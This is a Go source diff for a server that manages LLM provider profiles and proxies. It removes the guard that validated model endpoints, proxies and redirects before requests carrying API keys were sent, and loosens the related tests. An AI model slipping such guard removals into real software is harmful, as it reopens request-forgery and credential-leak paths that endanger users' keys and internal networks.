t.Setenv(LLMPrivateEndpointsEnv, "")
check(t, map[string]any{"name": name + "-ollama-default", "format": "ollama", "model": "probe-model", "streaming": false}, 1)
})
}
+3 -6
View File
@@ -154,9 +154,6 @@ func TestMCPMaskedEnvDestinationGuard(t *testing.T) {
func TestProxySecretsAPI(t *testing.T) {
s, _, request := trafficEvidenceServer(t)
pg := s.m.PG()
// Profile saves pass the model URL guard: the example proxy hosts resolve
// to a public address here.
s.modelLookupIP = publicLookup
t.Cleanup(func() {
pg.Exec(`DELETE FROM settings WHERE key IN ('brave_search_api_key','tavily_search_api_key','keenable_search_api_key','web_search_proxy','global_proxy')`)
pg.Exec(`DELETE FROM llm_profiles WHERE name='t-proxy'`)
@@ -255,12 +252,12 @@ func TestProxySecretsAPI(t *testing.T) {
t.Fatal("the placeholder replaced the stored profile proxy")
}
// The stored key only stays with the proxy it was saved for.
save(`"http://llm2.example:1080"`, "", 400)
save(`"socks5://llm2.example:1080"`, "", 400)
if proxy() != "http://u:llmp-pass-0011@llm.example:3128" {
t.Fatal("a refused proxy change replaced the stored profile proxy")
}
save(`"http://llm2.example:1080"`, "sk-rotated-0012", 200)
if proxy() != "http://llm2.example:1080" {
save(`"socks5://llm2.example:1080"`, "sk-rotated-0012", 200)
if proxy() != "socks5://llm2.example:1080" {
t.Fatal("explicit proxy not saved")
}
save(`""`, "sk-rotated-0013", 200)
+2 -9
View File
@@ -591,7 +591,7 @@ func (s *Server) applyLLM(cfg agent.Config) error {
}
if prov == nil {
var err error
prov, err = s.guardModelConfig(cfg).NewProvider()
prov, err = cfg.NewProvider()
if err != nil {
return err
}
@@ -730,9 +730,7 @@ func (s *Server) providerForProfile(id int64) (llm.Provider, agent.Config, bool)
if !ok {
return nil, agent.Config{}, false
}
// Only the client is built from the guarded copy: the cached cfg stays equal
// to loadProfileConfig's, which applyLLM compares with the active profile.
prov, err := s.guardModelConfig(cfg).NewProvider()
prov, err := cfg.NewProvider()
if err != nil {
log.Printf("[engine] build provider for LLM profile %d failed: %v", id, err)
return nil, agent.Config{}, false
@@ -1627,11 +1625,6 @@ func (s *Server) setLLM(w http.ResponseWriter, r *http.Request) {
writeErr(w, 400, "api_key required")
return
}
// Same endpoint and proxy guard as a saved profile (checkModelRoute).
if err := s.checkModelRoute(r.Context(), cfg); err != nil {
writeErr(w, 400, err.Error())
return
}
// Validate provider construction before persisting it as the active profile.
if _, err := cfg.NewProvider(); err != nil {
writeErr(w, 400, "provider init failed: "+err.Error())
-95
View File
@@ -2248,12 +2248,6 @@ func (s *Server) pgSaveProfile(w http.ResponseWriter, r *http.Request) {
return
}
p.UserAgent = ua
// The endpoint and proxy pass the connection test's guard; the run-time
// client enforces it again on every request (guardModelConfig).
if err := s.checkModelRoute(r.Context(), agent.ConfigFrom(p.Format, p.Model, p.BaseURL, "", p.Proxy)); err != nil {
writeErr(w, 400, err.Error())
return
}
if p.Format == "bedrock-gateway" {
validate := agent.ConfigFrom(p.Format, p.Model, p.BaseURL, p.APIKey, p.Proxy)
validate.CustomHeaders = p.CustomHeaders
@@ -2757,95 +2751,6 @@ func (s *Server) modelTransport(guard *modelURLGuard, proxyURL *url.URL) *http.T
return transport
}
// isDefaultOllama reports whether cfg is an Ollama config on the built-in
// default URL, which an empty base URL becomes. That URL is code-owned.
func isDefaultOllama(cfg agent.Config) bool {
base := strings.TrimSpace(cfg.BaseURL)
return cfg.Format == agent.FormatOllama && (base == "" || base == agent.DefaultOllamaBaseURL)
}
// checkModelRoute applies the connection test's checks to the endpoint and
// proxy of a model config that is about to be saved: both must pass the model
// URL guard, except the built-in Ollama default.
func (s *Server) checkModelRoute(ctx context.Context, cfg agent.Config) error {
guard := newModelURLGuard(s)
if p := strings.TrimSpace(cfg.Proxy); p != "" {
if _, err := guard.validateURL(ctx, p, "proxy"); err != nil {
return err
}
}
if isDefaultOllama(cfg) || strings.TrimSpace(cfg.BaseURL) == "" {
return nil
}
_, err := guard.validateURL(ctx, cfg.BaseURL, "endpoint")
return err
}
// guardModelConfig returns cfg with an HTTP client that goes through the model
// URL guard like the connection test's: the proxy and each request URL are
// validated before the request is sent, every connection is checked on the
// address it dials (a name that later resolves to a refused address is still
// refused), and a redirect is validated and must stay on the configured origin.
// Every completion provider the server builds uses it, so a stored profile the
// guard refuses gets no request, and no key, at run time.
func (s *Server) guardModelConfig(cfg agent.Config) agent.Config {
guard := newModelURLGuard(s)
checkURL := true
if isDefaultOllama(cfg) {
guard.allowDefaultOllama()
checkURL = false
}
proxy := strings.TrimSpace(cfg.Proxy)
var proxyURL *url.URL
if u, err := url.Parse(proxy); proxy != "" && err == nil && (u.Scheme == "http" || u.Scheme == "https") {
proxyURL = u
}
cfg.HTTPTransport = &guardedModelTransport{guard: guard, base: s.modelTransport(guard, proxyURL), proxy: proxy, checkURL: checkURL}
cfg.RedirectPolicy = sameOriginModelRedirects{guard: guard}
return cfg
}
// guardedModelTransport validates the proxy and the request URL with the guard
// before each request (a refused proxy, SOCKS5 included, refuses every request).
type guardedModelTransport struct {
guard *modelURLGuard
base *http.Transport
proxy string
checkURL bool
}
func (t *guardedModelTransport) RoundTrip(req *http.Request) (*http.Response, error) {
refuse := func(err error) (*http.Response, error) {
if req.Body != nil {
_ = req.Body.Close()
}
return nil, err
}
if t.proxy != "" {
if _, err := t.guard.validateURL(req.Context(), t.proxy, "proxy"); err != nil {
return refuse(err)
}
}
if t.checkURL {
if _, err := t.guard.validateURL(req.Context(), req.URL.String(), "endpoint"); err != nil {
return refuse(err)
}
}
return t.base.RoundTrip(req)
}
// sameOriginModelRedirects keeps the model client's own rule, a hop that
// leaves the configured origin is returned as the final response so the
// credentials are not replayed there, and validates the others with the guard.
type sameOriginModelRedirects struct{ guard *modelURLGuard }
func (p sameOriginModelRedirects) CheckRedirect(req *http.Request, via []*http.Request) error {
if origin := via[0].URL; !strings.EqualFold(req.URL.Scheme, origin.Scheme) || !strings.EqualFold(req.URL.Host, origin.Host) {
return http.ErrUseLastResponse
}
return p.guard.CheckRedirect(req, via)
}
// pgListModels fetches available models from the provider's API endpoint.
// Supports OpenAI-format (GET /models), Anthropic-format (GET /v1/models) and
// Ollama (keyless OpenAI-compatible GET /v1/models on the local server); for
-1
View File
@@ -78,7 +78,6 @@ func TestRunIntentSweepLoopEmitsGateConstantFactAndOperatorHandoff(t *testing.T)
ctx, cancel := context.WithCancel(context.Background())
s := New(ctx, m, "", m.dir, m.dir)
s.allowLoopbackModels = true // the mock LLM listens on loopback (test-only guard seam)
t.Cleanup(func() { stopTestServer(t, s, cancel) })
pid, err := m.pg.SaveProfile(&db.LLMProfile{
+1 -1
View File
@@ -79,7 +79,7 @@ func TestRotationConcurrentProvidersAndPrecedence(t *testing.T) {
_, _ = m.pg.Exec(`DELETE FROM llm_usage WHERE task_id = $1`, task.ID)
_, _ = m.DeleteTask(task.ID, DeleteTaskOptions{})
}()
s := &Server{m: m, provByProfile: map[int64]*provEntry{}, allowLoopbackModels: true} // the endpoints listen on loopback (test-only guard seam)
s := &Server{m: m, provByProfile: map[int64]*provEntry{}}
runtime := &taskLLMRuntime{s: s, taskID: task.ID, agentKey: "worker"}
done := make(chan error, 3)
dispatch := func(want int) {